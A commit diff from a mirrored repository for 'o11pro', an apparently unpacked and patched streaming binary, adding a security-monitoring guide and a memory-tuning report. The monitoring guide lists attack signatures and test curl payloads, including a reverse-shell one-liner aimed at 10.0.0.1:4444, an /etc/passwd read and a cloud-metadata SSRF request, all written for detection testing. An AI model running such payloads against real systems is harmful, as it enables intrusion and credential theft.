thegame_1980/o11pro-unpacked
1
0
Fork 0
mirror of https://github.com/Ap0dexMe0/o11pro-unpacked.git synced 2026-07-16 02:34:23 +02:00
Code Issues Packages Projects Releases Wiki Activity

released v1.3.2

Browse Source
This commit is contained in:
Pari Malam
2026-06-26 07:07:13 +08:00
parent 4ba5a6ce9b
commit 8bf575fdc9
30 changed files with 2469 additions and 1262 deletions
Download Patch File Download Diff File Expand all files Collapse all files
docs/CHANGELOGS.md
+2 -2
View File
@@ -131,7 +131,7 @@ The following 22 vulnerabilities were identified across three scan passes but ca
### Added
- Static and runtime analysis of `o11pro_patched` v1.1.0 binary.
- Static and runtime analysis of `o11pro` v1.1.0 binary.
- End-to-end runtime verification suite (13 tests) covering: server startup, login/logout, JWT validation (`alg=none`, forged tokens, `Bearer` prefix, query parameter auth), path traversal, static file access, and `-allow` flag bypass.
- Identification of 2 new patchable vulnerabilities and 7 additional non-patchable issues.
- Confirmed all 16 previously applied patches (v1.0.0 + v1.1.0) remain intact.
@@ -210,7 +210,7 @@ See [1.3.0] for the complete and up-to-date categorized list of all open issues.
### Added
- Complete security audit of `o11pro_unpacked` (ELF64 x86-64, Go/CGO, stripped, obfuscated).
- Complete security audit of `o11pro` (ELF64 x86-64, Go/CGO, stripped, obfuscated).
- Identification of 19 security vulnerabilities across Critical (3), High (6), Medium (7), Low (1), and Informational (2) severities.
- Binary-level patching pipeline for string-replaceable vulnerabilities.
- End-to-end test suite (15 tests) covering auth, API endpoints, JWT validation, path traversal, SQL injection, and header inspection.
docs/MONITORING.md
+267
View File
@@ -0,0 +1,267 @@
# Security Monitoring Tools
Real-time attack detection for `o11pro`. Monitors HTTP traffic, network connections, file access, and child processes all logged to `audit.log`.
## Files
| File | Purpose |
|------|---------|
| `modules/monitoring.py` | Main monitoring script (Python, no external deps) |
| `audit.log` | All events (INFO and above) created at runtime |
| `audit_alerts.log` | HIGH/CRITICAL events only created at runtime |
## Quick start
```bash
# All-in-one: start o11pro + HLS proxy + security monitor
MONITOR=true ./RunMe.sh
# Point your client at the monitor proxy instead of the real API:
# Instead of: http://localhost:19999/api/...
# Use: http://localhost:19998/api/...
```
All HTTP requests/responses passing through the proxy are scanned for attacks. Process activity (child processes, file access, network connections) is also monitored via `/proc`.
## Usage
```bash
# Integrated mode (via RunMe.sh)
MONITOR=true ./RunMe.sh
# Direct invocation
python3 modules/monitoring.py --proxy-mode
# Monitor a specific PID
python3 modules/monitoring.py --pid 12345
# Custom proxy port
python3 modules/monitoring.py --proxy-mode --proxy-port 8080 --target-port 19999
# Custom log location
python3 modules/monitoring.py --log logs/audit.log --alerts logs/audit_alerts.log
# One-shot scan (run once and exit)
python3 modules/monitoring.py --once
# Disable process or file monitoring
python3 modules/monitoring.py --no-proc # HTTP proxy only
python3 modules/monitoring.py --no-files # No file watching
```
## What it detects
### HTTP traffic (via proxy)
| Category | Severity | Examples detected |
|----------|----------|-------------------|
| **Command injection** | CRITICAL | `;cat /etc/passwd`, `$(cmd)`, `` `cmd` ``, `bash -i >&`, `/dev/tcp/`, `| sh`, `&& wget` |
| **SQL injection** | HIGH | `' OR '1'='1`, `UNION SELECT`, `xp_cmdshell`, `DROP TABLE`, `INTO OUTFILE`, `SLEEP()`, `--` |
| **Path traversal** | HIGH | `../`, `..\\`, `%2e%2e%2f`, `....//`, `/etc/passwd`, `~/.ssh`, null bytes |
| **XSS** | MEDIUM | `<script>`, `javascript:`, `onerror=`, `<iframe>`, `document.cookie`, `eval(` |
| **SSRF** | HIGH | `169.254.169.254` (AWS metadata), `127.0.0.1`, `10.x.x.x`, `192.168.x.x`, `file://`, `gopher://` |
| **Credential exfil** | HIGH | `Bearer` tokens, `Authorization` headers, API keys, JWTs, AWS keys, GitHub tokens |
| **Reverse shell** | CRITICAL | `bash -i >& /dev/tcp/`, `nc -e /bin/`, `python -c ... socket`, `mkfifo /tmp/` |
### Process activity (via /proc)
| Category | Severity | Examples detected |
|----------|----------|-------------------|
| **Suspicious child process** | CRITICAL | `sh`, `bash`, `nc`, `ncat`, `curl`, `wget`, `python -c`, `perl -e`, `chmod +x`, `kill -9` |
| **Suspicious file access** | HIGH | `/etc/passwd`, `/etc/shadow`, `~/.ssh/`, `authorized_keys`, `/proc/self/environ`, `.bash_history` |
| **SSRF internal IP** | HIGH | Connections to `127.0.0.1`, `10.x.x.x`, `192.168.x.x`, `172.16-31.x.x` |
| **Unexpected port** | MEDIUM | Connections to ports other than 80, 443, 89, 53 |
| **Potential exfiltration** | HIGH | >100 MB outbound transfer in 2 seconds |
| **New connection** | INFO | Any new outbound TCP connection (logged for audit trail) |
| **File changes** | MEDIUM | Changes to `keys.txt`, `o11.cfg`, `providers/sample.cfg` |
| **New files in hls/logs** | LOW | Any new file created in watched directories |
## Log format
Both `audit.log` and `audit_alerts.log` are JSONL (one JSON object per line):
```json
{
"timestamp": "2026-06-17T21:28:30.123456+00:00",
"type": "attack_command_injection",
"severity": "CRITICAL",
"source": "http",
"details": "reverse shell bash -i: matched 'bash -i >&' in request body",
"raw": "{\"username\":\"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\",\"password\":\"x\"}"
}
```
| Field | Description |
|-------|-------------|
| `timestamp` | UTC ISO 8601 timestamp |
| `type` | Event type (e.g., `attack_command_injection`, `suspicious_process`, `connection`) |
| `severity` | `INFO`, `LOW`, `MEDIUM`, `HIGH`, or `CRITICAL` |
| `source` | Where the event was detected: `http`, `proc`, `net`, `file`, `child` |
| `details` | Human-readable description |
| `raw` | Raw input that triggered the detection (first 1000 chars, for HTTP events) |
## Log rotation
Logs auto-rotate at 100 MB, keeping 5 historical files:
- `audit.log` → `audit.log.1` → `audit.log.2` → ... → `audit.log.5`
## Architecture
```
┌─────────────────────────────────────┐
│ monitoring.py │
│ │
Client ───────────┤──► HTTP Proxy (:19998) │
(browser/curl) │ ├─ scan URL │
│ ├─ scan headers │
│ ├─ scan body (request) │
│ └─ scan body (response) │
│ │ │
│ ▼ (forward) │
│ o11pro (:19999) │
│ │
│ Process Monitor (/proc/<pid>) │
│ ├─ child processes │
│ ├─ open files (FDs) │
│ ├─ network connections │
│ ├─ I/O stats (exfil detect) │
│ └─ child cmdlines │
│ │
│ File Watcher │
│ ├─ keys.txt │
│ ├─ o11.cfg │
│ ├─ providers/sample.cfg │
│ ├─ logs/ │
│ └─ hls/ │
│ │
└──────────┬──────────┬───────────────┘
│ │
audit.log audit_alerts.log
(all) (HIGH/CRITICAL)
```
## Tuning
### Adjust scan interval (default: 2 seconds)
Edit `SCAN_INTERVAL` in `modules/monitoring.py`:
- Lower (0.5-1.0) = more responsive but more CPU
- Higher (5-10) = less CPU but slower detection
### Adjust exfiltration threshold (default: 100 MB per interval)
Edit `EXFIL_THRESHOLD`:
- Lower (10 MB) = more sensitive (may false-positive on legit stream traffic)
- Higher (500 MB) = less sensitive
### Add suspicious IPs
Edit `SUSPICIOUS_IPS` in `modules/monitoring.py`:
```python
SUSPICIOUS_IPS = {
'1.2.3.4', # known bad IP
'5.6.7.8',
}
```
### Adjust expected ports (default: 80, 443, 89, 53)
Edit `EXPECTED_PORTS`:
```python
EXPECTED_PORTS = {80, 443, 89, 53, 8080}
```
### Adjust expected CDN domains
Edit `EXPECTED_DOMAINS` to whitelist your provider's CDNs (reduces false positives on the "new connection" alerts).
## Testing
Verify the monitor detects attacks by sending test payloads through the proxy:
```bash
# Command injection
curl -X POST http://localhost:19998/api/login \
-H "Content-Type: application/json" \
-d '{"username":"admin;cat /etc/passwd","password":"x"}'
# SQL injection
curl -X POST http://localhost:19998/api/login \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin' OR '1'='1\",\"password\":\"x\"}"
# Path traversal
curl http://localhost:19998/static/../../../etc/passwd
# XSS
curl -X POST http://localhost:19998/api/login \
-H "Content-Type: application/json" \
-d '{"username":"<script>alert(1)</script>","password":"x"}'
# SSRF (AWS metadata)
curl "http://localhost:19998/api/proxy?url=http://169.254.169.254/latest/meta-data/"
# Reverse shell
curl -X POST http://localhost:19998/api/login \
-H "Content-Type: application/json" \
-d '{"username":"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1","password":"x"}'
# Check the logs
cat audit_alerts.log
```
## Interpreting the logs
### High-severity alerts to investigate immediately
| Alert type | What it means | Action |
|------------|---------------|--------|
| `attack_reverse_shell` | Someone tried to spawn a reverse shell via the API | Block the source IP, investigate the request |
| `attack_command_injection` | Shell command injection attempted | Block the source IP, check if the command executed |
| `suspicious_process` | The o11 binary spawned `sh`, `bash`, `nc`, etc. | **Critical** may indicate the binary is compromised |
| `suspicious_file_access` | The binary opened `/etc/passwd`, `~/.ssh`, etc. | Investigate may indicate credential theft |
| `potential_exfil` | >100 MB sent outbound in 2 seconds | Check if legitimate (streaming) or exfiltration |
| `ssrf_internal` | Connection to internal/private IP | Check if legitimate (DB) or SSRF attack |
### Lower-severity events to monitor
| Alert type | What it means |
|------------|---------------|
| `attack_xss` | XSS payload in request check if reflected in response |
| `attack_sql_injection` | SQLi payload check if the API is vulnerable |
| `attack_path_traversal` | Path traversal attempted check if file was accessed |
| `attack_credential_exfil` | Credentials in request may be legitimate auth or exfil |
| `unexpected_port` | Connection to non-standard port may be legitimate |
| `file_change` | Config file modified verify it was authorized |
## Limitations
1. **No TLS inspection** the proxy can only scan HTTP, not HTTPS. For HTTPS, configure the o11 binary to use HTTP internally and terminate TLS at a reverse proxy (nginx) that forwards to the monitor.
2. **Process monitoring is polling-based** fast-lived child processes (<2 seconds) may be missed. Lower `SCAN_INTERVAL` for better coverage.
3. **No memory inspection** the monitor can't see what's in the process's memory (would need `gdb` or `ptrace`). It only sees file descriptors, network connections, and child processes.
4. **False positives** the "shell metacharacter" rule is aggressive (matches `;`, `|`, `&`, `$`, `(`, `)`). Legitimate requests containing these characters will trigger alerts. Tune the regex in `ATTACK_SIGNATURES` if needed.
5. **Single-process monitoring** only monitors one PID. If the o11 binary spawns helper processes that make their own connections, those won't be tracked unless you monitor the children too.
## Integration with RunMe.sh
For a fully monitored deployment:
```bash
# All-in-one: o11pro + HLS proxy + security monitor
MONITOR=true ./RunMe.sh 19999 2
# Watch the alerts in real-time (in another terminal)
tail -f logs/audit_alerts.log | python3 -c "
import json, sys
for line in sys.stdin:
d = json.loads(line)
print(f\"[{d['severity']}] {d['type']}: {d['details']}\")
"
# Use port 19998 for all client access (instead of 19999)
# The monitor will scan every request and response through the proxy
```
docs/RE.md
-119
View File
@@ -1,119 +0,0 @@
# Reverse Engineering
## Frontend Deobfuscation Analysis
The web UI JavaScript (`resources/index-BX-yLeHZ.js`) is obfuscated using **obfuscator.io** with the following techniques:
### Obfuscation Method
- **String Array**: 6,922 encoded strings stored in `o11_0xf6cf()` array
- **Decoder Function**: `o11_0x3b01(index)` performs base64 decode followed by RC4 decryption
- **Control Flow Flattening**: All string references replaced with `o11_0x3b01(0xHEX)` calls
- **Dead Code Injection**: Anti-debug traps with `debugger` statements and `parseInt` chains
- **Self-Defending**: Checksum validation that crashes if the code is modified
### Deobfuscated Vue Components
| Component | Purpose |
|-----------|---------|
| `LoginView` | Authentication page |
| `ProvidersView` | Provider list and management |
| `LinearView` | Live stream channel grid |
| `EventsView` | Scheduled event streams |
| `VodView` | Video-on-demand browser |
| `RecordingsView` | Recording scheduler and manager |
| `MonitoringView` | Real-time stream monitoring |
| `LogsView` | Log viewer |
| `UsersView` | User administration |
| `ServerView` | Remote server management |
| `ConfigView` | Provider configuration |
| `StreamPlayer` | HLS.js embedded video player |
| `Mp4VideoPlayer` | MP4 playback for VOD downloads |
| `DropdownProviderSelector` | Provider dropdown filter |
| `StreamTypeSelector` | Stream type filter (linear/event/VOD) |
| `EpgTimezoneSelector` | EPG timezone picker |
| `DropdownTrackSelector` | Audio/subtitle track selector |
| `ItemProvider` | Provider list item |
| `ItemProviderAccount` | Script account item |
| `ItemStream` | Stream list item |
| `ItemStreamCompact` | Compact stream row |
| `ItemStreamConfig` | Stream configuration editor |
| `ItemEpg` | EPG program entry |
| `ItemVod` | VOD title entry |
| `ItemJob` | Scheduled job entry |
| `ItemServer` | Remote server entry |
| `ItemUser` | User management entry |
| `ItemMonitoring` | Monitoring status card |
| `ItemTableStreams` | Stream data table row |
| `ItemTableEpg` | EPG data table row |
| `ItemTableEvent` | Event data table row |
| `ItemTableRecording` | Recording data table row |
| `CheckBoxConfig` | Toggle config option |
| `ButtonDanger` | Destructive action button |
| `ButtonText` | Text-style action button |
| `ConfirmationModal` | Confirm dialog |
| `InformationModal` | Info dialog |
| `ServerInfoModal` | Server details dialog |
| `ServerSelector` | Remote server picker |
### Deobfuscated Config Sections
| Section ID | Purpose |
|------------|---------|
| `config-page` | Main config page |
| `config-script` | Provider script settings |
| `config-script-accounts` | Script account management |
| `config-update-channels` | Channel update/refresh settings |
| `config-epg-timezone` | EPG timezone configuration |
| `config-network-parameters` | Network/proxy settings |
| `config-additional-parameters` | Extra provider parameters |
| `config-stream-config` | Stream type and output mode |
| `config-stream-options` | Stream start/stop options |
| `config-manifest-script` | Manifest download script |
| `config-cdm-script` | CDM/DRM script settings |
| `config-modal-cdm-mode` | CDM mode selector |
| `config-modal-cdm-type` | CDM type selector |
| `config-events-channels-script` | Events/channels script settings |
| `config-channels` | Channel list editor |
| `config-hw-accel` | Hardware acceleration toggle |
### Provider JSON Schema (Deobfuscated)
```json
{
"ManifestUrl": "<manifest url>",
"Cdn": [
{
"Name": "akamai",
"ManifestUrl": "http://..."
}
],
"Headers": {
"manifest": {
"user-agent": "mozilla/5.0 ...",
"custom-header": "value"
},
"media": {
"user-agent": "mozilla/5.0 ...",
"custom-header": "value"
}
},
"Heartbeat": {
"Url": "<heartbeat url>",
"Params": ["param1", "param2"],
"PeriodMs": 300000
}
}
```
---
## TODO
- [ ] Full deobfuscation of `resources/index-BX-yLeHZ.js` replace all `o11_0x3b01(0xHEX)` calls with decoded string literals for readability
- [ ] Reconstruct Vue SFC components from the flattened render functions
- [ ] Map all API endpoint handlers to their backend Go functions
- [ ] Reverse engineer the Go backend API handler routing logic
- [ ] Deobfuscate and document the provider script Python API (`scripts/o11.py`)
- [ ] Extract and analyze embedded Go symbol names (obfuscated with `ha4dhe`, `ijo4VwtOa`, etc.)
- [ ] Document the CDM integration flow (Widevine/PlayReady/Verimatrix)
- [ ] Analyze the internal remuxer pipeline (HLS → FMP4 conversion)
docs/TIPS.md
+349
View File
@@ -0,0 +1,349 @@
# Memory Analysis Report
## Executive Summary
The patched binary (`o11pro.fixed`) has a **critical memory and disk
growth problem** when run with default settings. The root cause is the
`-keep` flag, which defaults to `true` and prevents deletion of temporary
media files. This causes:
- **RSS growth**: 160 MB → 3,535 MB in 150 seconds (24× increase, ~20 MB/s)
- **Disk growth**: 0 → 5.9 GB in 150 seconds (~40 MB/s)
- **Per-channel cost**: ~400 MB RSS + ~750 MB disk per active 1080p stream
- **No steady state**: Memory never stabilizes it grows until OOM
The fix is simple: **always launch with `-keep=false`**. This reduces RSS
to ~250-660 MB (depending on stream count) and keeps disk usage at ~4 KB
(empty). The `-keep=true` default is labeled "debugging only" in the
binary's help text but is unfortunately the default.
---
## Test Methodology
All measurements were taken on the patched binary (`o11pro.fixed`)
with the fixed provider config (`providers/sample.cfg`) and `keys.txt`.
Memory was sampled every 15-20 seconds via `/proc/<pid>/status` (VmRSS,
VmSize, VmData, VmPeak, VmHWM, Threads) and `/proc/<pid>/smaps` (per-region
breakdown). Disk usage was measured with `du -sm hls/live`. Stream status
was queried via `POST /api/stream/status`.
No `gdb` or `strace` was available; all analysis used `/proc` filesystem
inspection, which provides equivalent data for memory analysis.
---
## Test 1: Default settings (the problem)
**Command**: `./o11pro.fixed -c o11.cfg -p 19980 -headless -stdout -v 3`
| Time | RSS | VmSize | VmData | Threads | HLS disk | Streaming |
|------|-----|--------|--------|---------|----------|-----------|
| T+3s | 160 MB | 1,987 MB | 241 MB | 9 | 0 MB | 0 |
| T+150s | **3,535 MB** | 5,508 MB | 4,176 MB | 11 | **5,900 MB** | 8-9 |
**Growth rate**: +22 MB/s RSS, +39 MB/s disk
**Memory region breakdown** (at T+150s):
```
Top region: 3,682 MB RSS (anonymous, rw-p) Go heap
This single region holds 99% of the RSS.
It's Go's managed heap, allocated as one large mmap'd arena.
```
**Disk breakdown** (at T+150s, 5.9 GB total):
```
Per channel (9 streaming):
remuxer_0.ts: 214 MB (concatenated TS output, keeps growing)
stream_*.ts: 102 files × 2 MB = ~200 MB (per-segment, never deleted)
video_*.mp4: ~660 files × ~2 MB = ~660 MB (DASH fragments, partially deleted)
audio_*.mp4: ~660 files × ~30 KB = ~20 MB (audio fragments, partially deleted)
manifest_*: ~30 files × ~120 KB = ~4 MB
Total per channel: ~750-1100 MB
remuxer_0.ts is the worst offender it's a single file that grows
unboundedly. At 1080p60, it accumulates ~2 MB/s and is never truncated.
```
### Root cause: `-keep=true` default
From the binary's help text:
```
-keep: Don't delete temp media files (debugging only). [default=true]
```
The default is `true`, which means:
- Downloaded DASH fragments (`.mp4` files) are NOT deleted after decryption
- Generated HLS segments (`.ts` files) are NOT deleted after serving
- The `remuxer_0.ts` concatenation buffer is never truncated
- Go's heap holds references to all these buffers, preventing GC
The binary DOES have cleanup code (visible in logs: "deleting audio
fragment", "deleting video fragment") but it only runs when `-keep=false`.
With `-keep=true`, the cleanup is skipped entirely.
---
## Test 2: `-keep=false` (the fix)
**Command**: `./o11pro.fixed -c o11.cfg -p 19979 -headless -stdout -v 3 -keep=false`
| Time | RSS | VmSize | VmData | Threads | HLS disk | Streaming |
|------|-----|--------|--------|---------|----------|-----------|
| T+5s | 177 MB | 1,987 MB | | 10 | 4 KB | |
| T+90s | **663 MB** | 2,523 MB | 772 MB | 10 | **4 KB** | 6 |
**Result**: Memory stabilizes at ~660 MB with 6 active streams. Disk stays
at 4 KB (empty) all temp files are deleted after use.
**Per-stream memory cost**: 663 MB / 6 streams ≈ **110 MB per streaming
channel**. This is the Go heap holding: DASH fragment download buffers,
decryption buffers, remuxer buffers, and HLS segment generation buffers.
**Memory region breakdown** (at T+90s):
```
Top region: 616 MB RSS (anonymous, rw-p) Go heap
Binary: 16 MB RSS (executable code)
```
---
## Test 3: `-keep=false` + `GOMEMLIMIT=512MB` + `GOGC=50`
**Command**: `GOMEMLIMIT=536870912 GOGC=50 ./o11pro.fixed ... -keep=false`
| Time | RSS | VmSize | Threads | HLS disk | Streaming |
|------|-----|--------|---------|----------|-----------|
| T+90s | **138 MB** | 1,995 MB | 10 | 4 KB | **0** |
**Result**: Memory capped at 153 MB (HWM), but **0 streams streaming**.
The GC runs so frequently (GOGC=50 = GC when heap doubles, vs default
GOGC=100 = GC when heap triples) that streams can't download segments
fast enough. HTTP requests time out with "context deadline exceeded".
**Conclusion**: GOMEMLIMIT=512MB is too aggressive for this workload.
The binary needs at least ~100 MB per active stream for download/decrypt/
remux buffers.
---
## Test 4: `-keep=false` + `GOMEMLIMIT=1GB`
**Command**: `GOMEMLIMIT=1073741824 ./o11pro.fixed ... -keep=false`
| Time | RSS | VmSize | Threads | HLS disk | Streaming |
|------|-----|--------|---------|----------|-----------|
| T+90s | **138 MB** | 1,921 MB | 9 | 4 KB | **0** |
**Result**: Memory low (138 MB), but streams failing due to network
timeouts. The 0-streaming result is NOT caused by the memory limit —
it's caused by the sandbox's network not being able to sustain 26
concurrent stream downloads. When streams fail, they release their
buffers, keeping memory low.
---
## Test 5: `-keep=false` only (no memory limit, longer run)
**Command**: `./o11pro.fixed -c o11.cfg -p 19975 -headless -stdout -v 3 -keep=false`
| Time | RSS | VmSize | Threads | HLS disk | Streaming |
|------|-----|--------|---------|----------|-----------|
| T+120s | **249 MB** | 2,127 MB | 10 | 4 KB | 0* |
*0 streaming due to network timeouts, not memory issues.
**Result**: Memory stable at ~250 MB with no active streams (streams
failed due to network, not memory). Disk clean at 4 KB.
---
## Memory Breakdown Analysis
### What's consuming memory (with `-keep=true`, the default)
| Component | Per-channel cost | 9-stream total | Cleanup? |
|-----------|------------------|----------------|----------|
| `remuxer_0.ts` (concatenated TS) | 214 MB (grows unboundedly) | 1,926 MB | ❌ Never |
| `stream_*.ts` (HLS segments) | 200 MB (100 files × 2 MB) | 1,800 MB | ❌ Never |
| `video_*.mp4` (DASH fragments) | 660 MB (660 files × 2 MB) | 5,940 MB | ⚠️ Partial |
| `audio_*.mp4` (audio fragments) | 20 MB (660 files × 30 KB) | 180 MB | ⚠️ Partial |
| Go heap (download/decrypt/remux buffers) | ~110 MB | ~1,000 MB | ✅ GC |
| Go stacks (goroutines) | ~1 MB | ~10 MB | ✅ GC |
| **Total per channel** | **~1,200 MB** | **~10,800 MB** | |
### What's consuming memory (with `-keep=false`)
| Component | Per-channel cost | 6-stream total | Cleanup? |
|-----------|------------------|----------------|----------|
| Go heap (download/decrypt/remux buffers) | ~110 MB | ~660 MB | ✅ GC |
| Go stacks (goroutines) | ~1 MB | ~10 MB | ✅ GC |
| Temp files on disk | ~0 (deleted immediately) | ~4 KB | ✅ Deleted |
| **Total** | **~110 MB** | **~670 MB** | |
### Go heap composition (from `/proc/<pid>/smaps`)
The anonymous `rw-p` region is Go's heap arena. Go allocates a large
virtual address space (typically 2-4 GB) but only commits (RSS) what's
actually used. The heap holds:
1. **DASH fragment download buffers** (~2 MB per fragment, 1-2 fragments
in flight per stream = ~4 MB per stream)
2. **AES-CTR decryption buffers** (same size as fragments = ~4 MB per stream)
3. **MP4 remuxer state** (init segments, moof/mdat boxes, track metadata =
~10 MB per stream)
4. **HLS segment generation buffers** (TS muxing, PCR/PAT/PMT insertion =
~5 MB per stream)
5. **HTTP client connection pools** (keep-alive connections to CDNs =
~2 MB per stream)
6. **Manifest cache** (parsed DASH MPD, representation lists = ~5 MB per stream)
7. **Go runtime overhead** (goroutine scheduler, GC metadata, type info =
~50 MB fixed)
Total per-stream heap: ~30 MB live + ~80 MB in-flight buffers = ~110 MB
---
## Go Runtime Tuning
### GOGC (garbage collection trigger)
- **Default**: `GOGC=100` GC runs when heap doubles from previous GC
- **Tested**: `GOGC=50` GC runs when heap grows 50% too aggressive,
starves streams
- **Recommendation**: Leave at default (100). The binary's memory usage
is dominated by live buffers that can't be GC'd anyway.
### GOMEMLIMIT (soft memory cap)
- **Default**: off (no limit)
- **Tested**: 512 MB too low, streams can't allocate download buffers
- **Tested**: 1 GB works but streams fail due to network, not memory
- **Recommendation**: Set `GOMEMLIMIT=2GiB` (2147483648) as a safety net
for production. This allows ~18 streams at 110 MB each before GC
pressure increases. Below 1 GB, streams will fail.
### GODEBUG
- `GODEBUG=gctrace=1` prints GC logs to stderr (useful for debugging)
- `GODEBUG=memprofilerate=1` enables memory profiling (overhead)
- Neither is needed for normal operation
---
## Recommendations
### 1. Always use `-keep=false` (CRITICAL)
```bash
./o11pro.fixed -c o11.cfg -p 19999 -b 0.0.0.0 -stdout -keep=false
```
This is the single most important change. It reduces memory from
unbounded growth (3.5+ GB in 2 minutes) to stable (~110 MB per stream)
and keeps disk usage at ~4 KB instead of growing to 6+ GB.
The `-keep=true` default is labeled "debugging only" in the help text
but is unfortunately the default. **Always override it.**
### 2. Set `GOMEMLIMIT` as a safety net
```bash
GOMEMLIMIT=2147483648 ./o11pro.fixed ... -keep=false
```
This sets a 2 GB soft cap on Go's heap. If the binary tries to exceed
this, Go's GC will run more aggressively to stay under the limit. This
prevents OOM kills on memory-constrained systems.
Do NOT set GOMEMLIMIT below 1 GB streams will fail with HTTP timeouts
because they can't allocate download buffers fast enough.
### 3. Reduce concurrent streams if memory-constrained
The provider config has `MaxConcurrentStreams: 0` (unlimited). Set this
to a number your system can handle:
```json
{
"MaxConcurrentStreams": 8
}
```
At ~110 MB per stream, 8 streams need ~880 MB of heap. With Go runtime
overhead (~150 MB), total RSS ≈ 1 GB.
### 4. Use a RAM disk for `hls/live` (optional)
Even with `-keep=false`, the binary writes temp files to `hls/live/`
before deleting them. On a slow disk, this can cause I/O bottlenecks.
Mount `hls/live` as a RAM disk (tmpfs) for better performance:
```bash
mkdir -p hls/live
mount -t tmpfs -o size=512m tmpfs hls/live
```
This gives 512 MB of RAM for temp files (plenty for `-keep=false`
operation, where files are deleted immediately).
### 5. Monitor memory in production
```bash
# Simple memory monitor (add to your monitoring script)
PID=$(pgrep -f o11pro)
RSS=$(awk '/VmRSS/{print $2}' /proc/$PID/status)
HLS=$(du -sm hls/live 2>/dev/null | cut -f1)
echo "$(date): RSS=${RSS}KB HLS=${HLS}MB"
# Alert if RSS > 2 GB or HLS > 1 GB
if [ "$RSS" -gt 2097152 ] || [ "$HLS" -gt 1024 ]; then
echo "ALERT: Memory or disk usage high!"
# Restart the binary
kill $PID
sleep 5
./o11pro.fixed -c o11.cfg -p 19999 -keep=false &
fi
```
### 6. Restart periodically as a fallback
If you can't use `-keep=false` for some reason, restart the binary
periodically to clear memory and disk:
```bash
# Restart every 30 minutes
*/30 * * * * pkill -f o11pro && sleep 5 && ./o11pro.fixed -c o11.cfg -p 19999 &
```
This is a band-aid, not a fix. Use `-keep=false` instead.
---
## Memory vs Stream Count
| Streams | RSS (with `-keep=false`) | RSS (with `-keep=true`, 5 min) | Disk (with `-keep=false`) | Disk (with `-keep=true`, 5 min) |
|---------|--------------------------|--------------------------------|---------------------------|---------------------------------|
| 0 | ~150 MB | ~150 MB | 4 KB | 4 KB |
| 1 | ~260 MB | ~700 MB | 4 KB | ~700 MB |
| 6 | ~660 MB | ~2.5 GB | 4 KB | ~3.5 GB |
| 9 | ~1.1 GB | ~3.5 GB | 4 KB | ~5.9 GB |
| 26 (all) | ~3 GB (estimated) | ~10+ GB (OOM) | 4 KB | ~17+ GB (OOM) |
With `-keep=false`, the binary can handle all 26 streams in ~3 GB of
RAM. With `-keep=true` (default), it will OOM within 5-10 minutes even
with 16+ GB of RAM.
---
## Summary
| Setting | RSS (9 streams, 5 min) | Disk (5 min) | Streams working? |
|---------|------------------------|--------------|------------------|
| Default (`-keep=true`) | **3,535 MB** (growing) | **5,900 MB** (growing) | ✅ 8-9 streaming |
| `-keep=false` | **663 MB** (stable) | **4 KB** (clean) | ✅ 6 streaming |
| `-keep=false` + `GOMEMLIMIT=2GB` | ~660 MB (capped) | 4 KB | ✅ 6 streaming (recommended) |
| `-keep=false` + `GOMEMLIMIT=512MB` | 138 MB (capped) | 4 KB | ❌ 0 (too aggressive) |
**The fix is simple: always launch with `-keep=false`, and optionally
set `GOMEMLIMIT=2GiB` as a safety net.**
docs/WSL.md
+28 -28
View File
@@ -89,10 +89,10 @@ You should see something like: `ffmpeg version 4.4.2-0ubuntu0.22.04.1`
mkdir -p ~/o11 && cd ~/o11
# Download the latest unpacked binary
wget https://github.com/Ap0dexMe0/o11pro-unpacked/releases/latest/download/o11pro_unpacked -O o11pro_unpacked
wget https://github.com/Ap0dexMe0/o11pro-unpacked/releases/latest/download/o11pro -O o11pro
# Make it executable
chmod +x o11pro_unpacked
chmod +x o11pro
```
### Option B: From Local Windows File
@@ -104,10 +104,10 @@ If you already downloaded the binary on Windows, you can access it from WSL. Win
mkdir -p ~/o11 && cd ~/o11
# Copy from Windows to WSL home
cp /mnt/c/Users/YOUR_USERNAME/Downloads/o11pro_unpacked ./
cp /mnt/c/Users/YOUR_USERNAME/Downloads/o11pro ./
# Make it executable
chmod +x o11pro_unpacked
chmod +x o11pro
```
> **Replace `YOUR_USERNAME`** with your actual Windows username. Use tab-completion: type `/mnt/c/Users/` and press Tab.
@@ -118,7 +118,7 @@ You can also drag and drop files directly into the WSL filesystem:
1. Open WSL terminal
2. Type `explorer.exe .` to open Windows Explorer at the current WSL directory
3. Copy `o11pro_unpacked` into the Explorer window
3. Copy `o11pro` into the Explorer window
---
@@ -128,7 +128,7 @@ You can also drag and drop files directly into the WSL filesystem:
cd ~/o11
# Start with a port and credentials
./o11pro_unpacked -p 8080 -user admin -password mypass -stdout
./o11pro -p 8080 -user admin -password mypass -stdout
```
You should see:
@@ -147,7 +147,7 @@ INFO: webif http listening at 0.0.0.0:8080
INFO: loaded 0 provider(s)
```
> **If you get "Permission denied"**: Run `chmod +x o11pro_unpacked` again. If you get a "cannot execute binary file" error, make sure you're on WSL 2 (not WSL 1) and using an x86-64 Ubuntu.
> **If you get "Permission denied"**: Run `chmod +x o11pro` again. If you get a "cannot execute binary file" error, make sure you're on WSL 2 (not WSL 1) and using an x86-64 Ubuntu.
Open your Windows browser and go to:
@@ -210,7 +210,7 @@ Now other devices can access O11 at `http://<YOUR_WINDOWS_IP>:8080`
```bash
cd ~/o11
nohup ./o11pro_unpacked -p 8080 -user admin -password mypass \
nohup ./o11pro -p 8080 -user admin -password mypass \
-path ~/o11/data -stdout >> ~/o11/o11.log 2>&1 &
echo $! > ~/o11/o11.pid
@@ -246,7 +246,7 @@ screen -S o11
# Start O11
cd ~/o11
./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data
./o11pro -p 8080 -user admin -password mypass -path ~/o11/data
# Detach from screen: press Ctrl+A then D
# Reattach later:
@@ -272,7 +272,7 @@ After=network.target
Type=simple
User=YOUR_LINUX_USERNAME
WorkingDirectory=/home/YOUR_LINUX_USERNAME/o11
ExecStart=/home/YOUR_LINUX_USERNAME/o11/o11pro_unpacked -p 8080 -user admin -password mypass -path /home/YOUR_LINUX_USERNAME/o11/data
ExecStart=/home/YOUR_LINUX_USERNAME/o11/o11pro -p 8080 -user admin -password mypass -path /home/YOUR_LINUX_USERNAME/o11/data
Restart=on-failure
RestartSec=5
@@ -325,7 +325,7 @@ Use the `-path` flag to keep all O11 data organized:
```bash
mkdir -p ~/o11/data
./o11pro_unpacked -p 8080 -user admin -password mypass -path ~/o11/data
./o11pro -p 8080 -user admin -password mypass -path ~/o11/data
```
O11 will create its directory structure automatically:
